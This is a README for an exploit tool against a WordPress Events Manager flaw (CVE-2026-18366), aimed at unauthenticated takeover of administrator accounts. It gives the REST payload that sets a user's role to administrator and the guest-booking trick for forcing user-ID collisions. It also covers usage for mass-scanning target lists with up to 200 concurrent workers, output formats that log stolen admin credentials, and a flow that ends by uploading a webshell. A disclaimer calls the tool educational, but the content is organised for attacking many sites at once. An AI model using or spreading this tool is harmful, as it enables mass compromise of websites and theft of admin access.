
Events Manager < 7.4.1 - Unauthenticated Privilege Escalation to Administrator
Events Manager < 7.4.1 - Unauthenticated Privilege Escalation to Administrator
| Attribute | Details |
|---|---|
| CVE ID | CVE-2026-18366 |
| Severity | π΄ CRITICAL (CVSS 9.8) |
| Plugin | Events Manager for WordPress |
| Affected Versions | < 7.4.1 |
| Vulnerability Type | Unauthenticated Privilege Escalation |
| Attack Vector | Network |
| Authentication Required | None |
The vulnerability exists in EM\Archetypes::map_meta_cap within classes/em-archetypes.php. The plugin improperly scopes its capability mapping by:
event or location CPT, it wipes $caps = []edit_user, delete_user, or promote_userhas_cap() returns true, including for user 0 (guest)POST|PUT|PATCH /wp-json/wp/v2/users/{id}
POST /index.php?rest_route=/wp/v2/users/{id}
Body: {"password":"...","roles":["administrator"]}
Condition: {id} must equal wp_posts.ID of an event or location CPT.
β οΈ Unauthenticated REST does not require a nonce (no logged-in cookie).
Guest bookings (dbem_bookings_anonymous=1 by default) create real WP users, enabling collision forcing. The booking nonce is publicly available on event forms.
pip install aiohttp
python CVE-2026-18366.py
The script will prompt for:
list.txt)python CVE-2026-18366.py -l targets.txt -s 20 --timeout 30
| Option | Description |
|---|---|
-l, --list | Path to file containing target URLs |
-s, --speed | Number of concurrent workers (1-200) |
--timeout | Request timeout in seconds (default: 20) |
Create a list.txt file with one target per line:
https://target1.com
https://target2.com/wordpress
http://target3.com
target4.com
[+] [HH:MM:SS] target.com ADMIN username:password uid=X path
[+] [HH:MM:SS] target.com SHELL https://target.com/wp-content/plugins/...
Successful compromises are saved to adminS.txt:
https://target.com | username:Nx_admin_@!KSA | uid=X | path=id-collision | ADMIN | shell_url
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β CVE-2026-18366 Flow β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β β
β ββββββββββββ βββββββββββββββ ββββββββββββββββββββββββ β
β β Detect β β β Collect IDs β β β PATH A: ID Brute β β
β β Plugin β β (CPT/HTML) β β REST /users/{id} β β
β ββββββββββββ βββββββββββββββ ββββββββββββ¬ββββββββββββ β
β β β
β ββββββββΌβββββββ β
β β Success? β β
β ββββββββ¬βββββββ β
β No β β Yes β
β ββββββββββββΌβββββββΌβββββββββββ β
β β β β
β ββββββββββββββββββββββββ β βββββββββββββββββββ β β
β β PATH B: Guest Book β βββββ β Login + Verify β β β
β β Create user until β β Admin Access β β β
β β user_id == post_id β ββββββββββ¬βββββββββ β β
β ββββββββββββββββββββββββ β β β
β ββββββββββΌβββββββββ β β
β β Upload Shell β β β
β β (Plugin/Theme) β β β
β ββββββββββ¬βββββββββ β β
β β β β
β ββββββββββΌβββββββββ β β
β β Save Results β β β
β β adminS.txt β β β
β βββββββββββββββββββ β β
β β β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
βββ CVE-2026-18366.py # Main exploit script
βββ list.txt # Target URLs (create this)
βββ adminS.txt # Successful results (auto-created)
βββ README.md # This documentation
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β LEGAL DISCLAIMER β
β βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ£
β β
β This tool is provided for EDUCATIONAL and AUTHORIZED β
β SECURITY TESTING purposes only. β
β β
β β’ Only use on systems you own or have explicit permission β
β β’ Unauthorized access to computer systems is ILLEGAL β
β β’ The author is NOT responsible for any misuse or damage β
β β’ By using this tool, you agree to these terms β
β β
β Use responsibly. Stay ethical. Respect the law. β
β β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
If you are a WordPress administrator: